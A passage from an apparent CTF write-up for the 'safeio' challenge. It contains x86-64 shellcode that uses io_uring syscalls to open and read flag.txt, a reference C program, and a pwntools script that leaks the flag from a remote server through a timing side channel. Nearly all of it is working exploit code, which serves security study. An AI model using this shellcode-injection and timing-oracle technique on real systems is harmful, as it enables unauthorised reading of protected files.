/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* reap cqe -> nread */
mov rax, QWORD PTR [rbp-0xb8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0xec], eax
nop
mov rax, QWORD PTR [rbp-0xb0]
mov rax, QWORD PTR [rbp-0xa8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0xec]
mov eax, eax
shl rax, 0x4
mov rdx, rax
mov rax, QWORD PTR [rbp-0xa0]
add rax, rdx
mov QWORD PTR [rbp-0x88], rax
mov rax, QWORD PTR [rbp-0x88]
mov eax, DWORD PTR [rax+0x8]
mov DWORD PTR [rbp-0x104], eax
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0xec]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xb8]
mov DWORD PTR [rax], edx
/* [rsp+0x150] store our flag now ! */
jmp $
"""
return sc
pause()
send_shellcode(asm(craft_shellcode()))
r.interactive()
Exploit to extract flag
The method I came up with is a timing guessing attack. Simply put, after the agent reads and stores the content of flag.txt, it starts a loop waiting for a cmd from the host. The format of the cmd sent by the host is <index,guess_character>. Upon receiving it, the agent checks if the guessed character is correct. If it is correct, it runs a busy workload (blocking the host on read for about 3 seconds or more) before writing back to the host using io_uring_enter. Conversely, if the guess is wrong, it just writes back to the host immediately.
First, I wrote a working C code using only io_uring_enter and io_uring_setup, compiled it, and checked GDB to see how to use it. Then I copied the assembly code step-by-step to the shellcode, modifying some buffer locations (the original code used RIP-relative addressing for fixed buffer locations, but we can simply place the buffer at rsp+buf_offset). Also, for jumps, I just used labels. The complete reference C code is here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h> // AT_FDCWD, O_RDONLY
#ifndef IORING_SETUP_NO_MMAP
#define IORING_SETUP_NO_MMAP (1U << 14) /* 0x4000 */
#endif
int main(void) {
/* 0x2000 scratch only: [rings page][sqes page] */
static unsigned char mem[0x2000] __attribute__((aligned(4096)));
unsigned char *rings = mem; /* 0x1000 */
unsigned char *sqes = mem + 0x1000; /* 0x1000 */
/* buffers outside scratch */
static unsigned char flagbuf[4096];
static unsigned char buf2[0x100];
/* no syscalls here */
memset(mem, 0, sizeof(mem));
memset(flagbuf, 0, sizeof(flagbuf));
memset(buf2, 0, sizeof(buf2));
struct io_uring_params p;
memset(&p, 0, sizeof(p));
p.flags = IORING_SETUP_NO_MMAP;
p.sq_off.user_addr = (uintptr_t)sqes; /* SQEs backing */
p.cq_off.user_addr = (uintptr_t)rings; /* rings backing */
/* syscall #1: io_uring_setup */
int ring_fd = syscall(SYS_io_uring_setup, 8, &p);
if (ring_fd < 0) {
for (;;) {}
}
/* ring pointers (computed once) */
uint32_t *sq_tail = (uint32_t *)(rings + p.sq_off.tail);
uint32_t *sq_mask = (uint32_t *)(rings + p.sq_off.ring_mask);
uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array);
uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head);
uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail);
uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask);
struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes);
struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes;
/* ------------------------------
Helper pattern inline:
- put SQE in sqe[0]
- submit sqe idx 0
- io_uring_enter(to_submit=1, min_complete=1, GETEVENTS)
- reap 1 CQE, return res
We'll repeat this pattern manually.
------------------------------ */
/* ========== 1) OPENAT("flag.txt") via io_uring ========== */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_OPENAT;
sqe[0].fd = AT_FDCWD;
sqe[0].addr = (uintptr_t)"flag.txt";
sqe[0].open_flags = O_RDONLY;
sqe[0].len = 0; /* mode */
sqe[0].user_data = 0x1111;
/* submit idx 0 */
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
/* syscall #2: io_uring_enter (execute OPENAT) */
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
for (;;) {}
}
int flag_fd;
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
flag_fd = cqe->res;
__sync_synchronize();
*cq_head = head + 1;
}
if (flag_fd < 0) {
for (;;) {}
}
/* ========== 2) READ(flag_fd, flagbuf, 4096) via io_uring ========== */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_READ;
sqe[0].fd = flag_fd;
sqe[0].addr = (uintptr_t)flagbuf;
sqe[0].len = 4096;
sqe[0].off = -1; /* like read() */
sqe[0].user_data = 0x2222;
/* submit idx 0 */
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
/* io_uring_enter (execute READ) */
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
for (;;) {}
}
int flag_len;
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
flag_len = cqe->res;
__sync_synchronize();
*cq_head = head + 1;
}
if (flag_len < 0) {
for (;;) {}
}
if (flag_len > 4096) flag_len = 4096;
/* ========== 3) Infinite oracle loop (READ stdin + conditional delay + WRITE stdout) ========== */
for (;;) {
/* 3.1) READ(0, buf2, 0x100) via io_uring */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_READ;
sqe[0].fd = 0; /* stdin */
sqe[0].addr = (uintptr_t)buf2;
sqe[0].len = 0x100;
sqe[0].off = -1;
sqe[0].user_data = 0x3333;
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
for (;;) {}
}
int rr;
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
rr = cqe->res; /* bytes read or -errno */
__sync_synchronize();
*cq_head = head + 1;
}
/* If stdin read failed, just continue looping */
if (rr < 9) {
/* still must write(1, buf2, 0x100) as requested */
/* 3.4) WRITE(1, buf2, 0x100) via io_uring */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_WRITE;
sqe[0].fd = 1;
sqe[0].addr = (uintptr_t)buf2;
sqe[0].len = 0x100;
sqe[0].off = -1;
sqe[0].user_data = 0x4444;
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
(void)syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0);
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
__sync_synchronize();
*cq_head = head + 1;
}
continue;
}
/* 3.2) parse: idx (8 bytes LE) + guess char (1 byte) */
uint64_t idx = 0;
memcpy(&idx, buf2, 8);
unsigned char guess = buf2[8];
/* 3.3) compare + conditional busy work */
int correct = 0;
if (idx < (uint64_t)flag_len) {
if (flagbuf[idx] == guess) correct = 1;
}
if (correct) {
/* ~3 seconds CPU burn (tune ITER for your machine) */
volatile uint64_t acc = 0;
const uint64_t ITER = 900000000ULL;
for (uint64_t i = 0; i < ITER; i++) {
acc ^= (i * 0x9e3779b97f4a7c15ULL);
acc = (acc << 1) | (acc >> 63);
}
(void)acc;
}
/* 3.4) WRITE(1, buf2, 0x100) via io_uring */
memset(&sqe[0], 0, sizeof(sqe[0]));
sqe[0].opcode = IORING_OP_WRITE;
sqe[0].fd = 1; /* stdout */
sqe[0].addr = (uintptr_t)buf2;
sqe[0].len = 0x100;
sqe[0].off = -1;
sqe[0].user_data = 0x5555;
{
uint32_t tail = *sq_tail;
sq_array[tail & *sq_mask] = 0;
__sync_synchronize();
*sq_tail = tail + 1;
}
if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, 0, 0) < 0) {
for (;;) {}
}
{
uint32_t head = *cq_head;
while (head == *cq_tail) { }
__sync_synchronize();
*cq_head = head + 1;
}
}
}
After feeding this shellcode to the agent, the agent will read the flag content and wait for the host to send a cmd. I defined the cmd format as <index><guess_character>, where index takes 8 bytes and guess_character takes 1 byte (convenient for pwntools input). If the guess is correct, the agent will perform busy work to differentiate the time taken between a correct and an incorrect guess.
Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
#!/usr/bin/env python3
from pwn import *
exe = ELF("./safeio_patched")
#libc = ELF("libc.so.6")
#ld = ELF("./ld-2.39.so")
context.binary = exe
context.arch = 'amd64'
context.os = 'linux'
import time
#r = process([exe.path])
r = remote('chals1.eof.ais3.org', '31338')
def send_shellcode(shellcode: bytes):
assert len(shellcode) < 0x1000
r.sendlineafter(b'agent > ', shellcode)
def send_cmd(cmd: bytes):
assert len(cmd) < 0x100
r.sendlineafter(b' > ', cmd)
# syscall(SYS_io_uring_setup, 8, &p); /* setup ring */
# syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) /* enter + wait 1 completion */
def craft_shellcode():
sc = f"""
mov r11, qword ptr [rsp] /* r11 store libc address */
mov r12, qword ptr [rsp+0x20] /* r12 store base address */
mov r8, 0x2a1ca
sub r11, r8
mov r8, 0x14b0
sub r12, r8
mov r15, r12
add r15, 0x1c15 /* syscall;ret */
/* extend rbp */
mov r8, 0x1000
add rbp, r8
/* store "flag.txt\x00" at rsp+0x100 */
mov rax, 0x7478742e67616c66
mov qword ptr [rsp+0x100], rax
mov byte ptr [rsp+0x108], 0
/* unsigned char *rings = mem */ /*mem located at [r11+0x205000] */
lea rax, [r11+0x205000]
mov QWORD PTR [rbp-0xf0], rax
/* unsigned char *sqes = mem */
lea rax, [r11+0x206000]
mov QWORD PTR [rbp-0xe8], rax
mov rdi, qword ptr [rbp-0xf0]
xor eax, eax
mov rcx, 0x1000
rep stosb
mov rdi, qword ptr [rbp-0xe8]
xor eax, eax
mov rcx, 0x1000
rep stosb
/* put struct io_uring_params p at [rbp-0x80] and clear all */
lea rdi, [rbp-0x80]
xor eax, eax
mov rcx, 0x78
rep stosb
/* set p.flags = IORING_SETUP_NO_MMAP */
mov DWORD PTR [rbp-0x78], 0x4000
/* set p.sq_off.user_addr = (uintptr_t)sqes */
mov rax, QWORD PTR [rbp-0xe8]
mov QWORD PTR [rbp-0x38], rax
/* set p.cq_off.user_addr = (uintptr_t)rings */
mov rax, QWORD PTR [rbp-0xf0]
mov QWORD PTR [rbp-0x10], rax
/* syscall(SYS_io_uring_setup, 8, &p) */
mov eax, 425
mov edi, 8
lea rsi, [rbp-0x80]
call r15
/* uint32_t *sq_tail = (uint32_t *)(rings + p.sq_off.tail); */
mov eax, DWORD PTR [rbp-0x54]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xe0], rax
/* uint32_t *sq_mask = (uint32_t *)(rings + p.sq_off.ring_mask); */
mov eax, DWORD PTR [rbp-0x50]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xd8], rax
/* uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array); */
mov eax, DWORD PTR [rbp-0x40]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xd0], rax
/* uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head); */
mov eax, DWORD PTR [rbp-0x30]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xc8], rax
/* uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail); */
mov eax, DWORD PTR [rbp-0x2c]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xc0], rax
/* uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask); */
mov eax, DWORD PTR [rbp-0x28]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xb8], rax
/* struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes); */
mov eax, DWORD PTR [rbp-0x1c]
mov edx, eax
mov rax, QWORD PTR [rbp-0xf0]
add rax, rdx
mov QWORD PTR [rbp-0xb0], rax
/* struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes; */
mov rax, QWORD PTR [rbp-0xe8]
mov QWORD PTR [rbp-0xa8], rax
/* memset(&sqe[0], 0, sizeof(sqe[0])); */
mov rdi, qword ptr [rbp-0xa8]
xor eax, eax
mov rcx, 0x40
rep stosb
/* sqe[0].opcode = IORING_OP_OPENAT; */
mov rax, QWORD PTR [rbp-0xa8]
mov BYTE PTR [rax], 0x12
/* sqe[0].fd = AT_FDCWD; */
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x4], 0xffffff9c
/* sqe[0].addr = (uintptr_t)"flag.txt";, where at [rsp+0x100] */
lea rdx, [rsp+0x100]
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x10], rdx
/* sqe[0].open_flags = O_RDONLY; */
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x1c], 0x0
/* sqe[0].len = 0; */
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x18], 0x0
/* sqe[0].user_data = 0x1111; */
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x20], 0x1111
/* submit sqe index 0 */
mov rax, QWORD PTR [rbp-0xe0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x138], eax
mov rax, QWORD PTR [rbp-0xd8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x138]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xd0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x138]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xe0]
mov DWORD PTR [rax], edx
/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* reap cqe -> fd */
/* uint32_t head = *cq_head; */
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x134], eax
nop
/* while (head == *cq_tail) */
loop1:
mov rax, QWORD PTR [rbp-0xc0]
mov eax, DWORD PTR [rax]
cmp DWORD PTR [rbp-0x134], eax
je loop1
/* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
mov rax, QWORD PTR [rbp-0xb8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x134]
mov eax, eax
shl rax, 0x4
mov rdx, rax
mov rax, QWORD PTR [rbp-0xb0]
add rax, rdx
mov QWORD PTR [rbp-0xa0], rax
/* flag_fd = cqe->res */
mov rax, QWORD PTR [rbp-0xa0]
mov eax, DWORD PTR [rax+0x8]
mov DWORD PTR [rbp-0x130], eax
/* __sync_synchronize() */
lock or QWORD PTR [rsp], 0x0
/* *cq_head = head + 1; */
mov eax, DWORD PTR [rbp-0x134]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xc8]
mov DWORD PTR [rax], edx
/* check fd here if needed, fd located at [rbp-0x130] */
/* READ(fd, buf, 4096) */
/* we let buf at rsp+[0x150] */
/* memset(&sqe[0], 0, sizeof(sqe[0])) */
mov rdi, qword ptr [rbp-0xa8]
xor eax, eax
mov rcx, 0x40
rep stosb
/* setup READ(fd, buf, 4096) */
mov rax, QWORD PTR [rbp-0xa8]
mov BYTE PTR [rax], 0x16
mov rax, QWORD PTR [rbp-0xa8]
mov edx, DWORD PTR [rbp-0x130]
mov DWORD PTR [rax+0x4], edx
lea rdx, [rsp+0x150] /* buf address */
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x10], rdx
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x18], 0x1000
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x8], 0xffffffffffffffff
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x20], 0x2222
/* submit sqe index 0 */
mov rax, QWORD PTR [rbp-0xe0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x12c], eax
mov rax, QWORD PTR [rbp-0xd8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x12c]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xd0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x12c]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xe0]
mov DWORD PTR [rax], edx
/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* reap cqe -> nread */
/* uint32_t head = *cq_head; */
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x128], eax
nop
/* while (head == *cq_tail) */
loop2:
mov rax, QWORD PTR [rbp-0xc0]
mov eax, DWORD PTR [rax]
cmp DWORD PTR [rbp-0x128], eax
je loop2
/* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
mov rax, QWORD PTR [rbp-0xb8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x128]
mov eax, eax
shl rax, 0x4
mov rdx, rax
mov rax, QWORD PTR [rbp-0xb0]
add rax, rdx
mov QWORD PTR [rbp-0x98], rax
/* flag_len = cqe->res; */
mov rax, QWORD PTR [rbp-0x98]
mov eax, DWORD PTR [rax+0x8]
mov DWORD PTR [rbp-0x144], eax
/* __sync_synchronize() */
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x128]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xc8]
mov DWORD PTR [rax], edx
/* [rsp+0x150] store our flag now ! */
/* start looping */
guess_loop:
mov rdi, qword ptr [rbp-0xa8]
xor eax, eax
mov rcx, 0x40
rep stosb
lea rdi, [rsp+0x20]
xor eax, eax
mov rcx, 0x10
rep stosb
mov rax, QWORD PTR [rbp-0xa8]
mov BYTE PTR [rax], 0x16
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x4], 0x0
/* put buf2 at [rsp+0x20] */
lea rdx, [rsp+0x20]
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x10], rdx
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x18], 0x100
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x8], 0xffffffffffffffff
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x20], 0x3333
mov rax, QWORD PTR [rbp-0xe0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x124], eax
mov rax, QWORD PTR [rbp-0xd8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x124]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xd0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x124]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xe0]
mov DWORD PTR [rax], edx
/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
/* read from host */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* assume it is correct */
/* uint32_t head = *cq_head; */
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x120], eax
nop
/* while (head == *cq_tail) */
loop3:
mov rax, QWORD PTR [rbp-0xc0]
mov eax, DWORD PTR [rax]
cmp DWORD PTR [rbp-0x120], eax
je loop3
/* struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask]; */
mov rax, QWORD PTR [rbp-0xb8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x120]
mov eax, eax
shl rax, 0x4
mov rdx, rax
mov rax, QWORD PTR [rbp-0xb0]
add rax, rdx
mov QWORD PTR [rbp-0x90], rax
/* rr = cqe->res; */
mov rax, QWORD PTR [rbp-0x90]
mov eax, DWORD PTR [rax+0x8]
mov DWORD PTR [rbp-0x11c], eax
lock or QWORD PTR [rsp], 0x0
/* *cq_head = head + 1; */
mov eax, DWORD PTR [rbp-0x120]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xc8]
mov DWORD PTR [rax], edx
/* assume that rr always correct */
/* 3.2) parse: idx (8 bytes LE) + guess char (1 byte) */
mov QWORD PTR [rbp-0x108], 0x0
mov rax, QWORD PTR [rsp+0x20]
mov QWORD PTR [rbp-0x108], rax
movzx eax, BYTE PTR [rsp+0x28]
mov BYTE PTR [rbp-0x145], al
mov DWORD PTR [rbp-0x140], 0x0
mov eax, DWORD PTR [rbp-0x144]
cdqe
/* assume that idx < flag_len */
/* if (flagbuf[idx] == guess) correct = 1; */
mov rax, QWORD PTR [rbp-0x108]
lea rdx, [rsp+0x150]
movzx eax, BYTE PTR [rax+rdx*1]
cmp BYTE PTR [rbp-0x145], al
jne guess_wrong
mov DWORD PTR [rbp-0x140], 0x1
guess_wrong:
cmp DWORD PTR [rbp-0x140], 0x0
je write_host
/* here if guess correct tunehere */
mov QWORD PTR [rbp-0x100], 0x0
mov QWORD PTR [rbp-0x88], 0x3a4e900
mov QWORD PTR [rbp-0xf8], 0x0
jmp busy_work
guess_correct:
mov rax, QWORD PTR [rbp-0xf8]
movabs rdx, 0x9e3779b97f4a7c15
imul rdx, rax
mov rax, QWORD PTR [rbp-0x100]
xor rax, rdx
mov QWORD PTR [rbp-0x100], rax
mov rax, QWORD PTR [rbp-0x100]
lea rdx, [rax+rax*1]
mov rax, QWORD PTR [rbp-0x100]
shr rax, 0x3f
or rax, rdx
mov QWORD PTR [rbp-0x100], rax
add QWORD PTR [rbp-0xf8], 0x1
busy_work:
mov rax, QWORD PTR [rbp-0xf8]
cmp rax, QWORD PTR [rbp-0x88]
jb guess_correct
mov rax, QWORD PTR [rbp-0x100]
/* prepare write */
write_host:
mov rdi, qword ptr [rbp-0xa8]
xor eax, eax
mov rcx, 0x40
rep stosb
mov rax, QWORD PTR [rbp-0xa8]
mov BYTE PTR [rax], 0x17
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x4], 0x1
lea rdx, [rsp+0x20]
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x10], rdx
mov rax, QWORD PTR [rbp-0xa8]
mov DWORD PTR [rax+0x18], 0x100
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x8], 0xffffffffffffffff
mov rax, QWORD PTR [rbp-0xa8]
mov QWORD PTR [rax+0x20], 0x5555
mov rax, QWORD PTR [rbp-0xe0]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x118], eax
mov rax, QWORD PTR [rbp-0xd8]
mov eax, DWORD PTR [rax]
and eax, DWORD PTR [rbp-0x118]
mov eax, eax
lea rdx, [rax*4+0x0]
mov rax, QWORD PTR [rbp-0xd0]
add rax, rdx
mov DWORD PTR [rax], 0x0
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x118]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xe0]
mov DWORD PTR [rax], edx
/* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
mov edi, 0x2
mov rsi, 0x1
mov rdx, 0x1
mov r10, 0x1
xor r8, r8
xor r9, r9
mov eax, 426
call r15
/* uint32_t head = *cq_head; */
mov rax, QWORD PTR [rbp-0xc8]
mov eax, DWORD PTR [rax]
mov DWORD PTR [rbp-0x114], eax
nop
loop4:
/* while (head == *cq_tail) */
mov rax, QWORD PTR [rbp-0xc0]
mov eax, DWORD PTR [rax]
cmp DWORD PTR [rbp-0x114], eax
je loop4
lock or QWORD PTR [rsp], 0x0
mov eax, DWORD PTR [rbp-0x114]
lea edx, [rax+0x1]
mov rax, QWORD PTR [rbp-0xc8]
mov DWORD PTR [rax], edx
jmp guess_loop
"""
return sc
pause()
send_shellcode(asm(craft_shellcode()))
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
flag = ''
while True:
idx = len(flag)
for c in charset:
start = time.perf_counter()
#log.info(f"{idx}, {c}")
send_cmd(p64(idx) + c.encode())
r.recvuntil(b'cmd')
end = time.perf_counter()
elapsed = end - start
print(f"{idx}, {c} take {elapsed} seconds")
if elapsed > 1:
flag += c
print(flag)
break
else:
print(flag)
print('adios')
break
r.interactive()









